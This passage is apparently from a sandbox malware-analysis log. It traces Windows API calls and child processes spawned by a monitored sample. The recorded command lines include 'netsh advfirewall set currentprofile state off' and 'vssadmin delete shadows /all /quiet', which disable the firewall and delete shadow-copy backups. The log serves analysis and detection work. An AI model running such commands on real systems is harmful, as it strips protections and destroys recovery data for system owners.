_MaxCount=0x7) returned -18 [0111.876] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0111.876] GetProcessHeap () returned 0x22e85e60000 [0111.876] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e61a60) returned 1 [0111.876] GetProcessHeap () returned 0x22e85e60000 [0111.876] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x12) returned 0x22e85e66f10 [0111.876] _get_osfhandle (_FileHandle=1) returned 0x298 [0111.876] SetConsoleMode (hConsoleHandle=0x298, dwMode=0x0) returned 0 [0111.876] _get_osfhandle (_FileHandle=0) returned 0x28c [0111.876] SetConsoleMode (hConsoleHandle=0x28c, dwMode=0x0) returned 0 [0111.876] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xbfb21ff230*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbfb21ff208 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0xbfb21ff208*(hProcess=0x9c, hThread=0x98, dwProcessId=0x4b0, dwThreadId=0x390)) returned 1 [0114.144] CloseHandle (hObject=0x98) returned 1 [0114.144] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0114.144] GetProcessHeap () returned 0x22e85e60000 [0114.144] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e68500) returned 1 [0114.144] GetEnvironmentStringsW () returned 0x22e85e684b0* [0114.144] GetProcessHeap () returned 0x22e85e60000 [0114.144] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xacc) returned 0x22e85e794a0 [0114.145] FreeEnvironmentStringsA (penv="=") returned 1 [0114.145] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000 [0114.145] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0 [0114.145] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xbfb21fe708, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xbfb21fe708, ReturnLength=0x0) returned 0x0 [0114.145] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x522fa3000, lpBuffer=0xbfb21fe740, nSize=0x7a0, lpNumberOfBytesRead=0xbfb21fe700 | out: lpBuffer=0xbfb21fe740*, lpNumberOfBytesRead=0xbfb21fe700*=0x7a0) returned 1 [0114.145] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 37 os_tid = 0x127c Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xee3a000" os_pid = "0x100c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1164" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x1010 Thread: id = 28 os_tid = 0xea4 Thread: id = 30 os_tid = 0x1114 Thread: id = 32 os_tid = 0x1238 Thread: id = 34 os_tid = 0x1244 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x96de000" os_pid = "0x1024" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xef0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x102c Thread: id = 29 os_tid = 0x300 Thread: id = 31 os_tid = 0x704 Thread: id = 33 os_tid = 0x1240 Thread: id = 35 os_tid = 0x1248 Process: id = "7" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x8209000" os_pid = "0xfd4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xef0" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xffc Process: id = "8" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0xca04000" os_pid = "0x4b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x1164" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0x390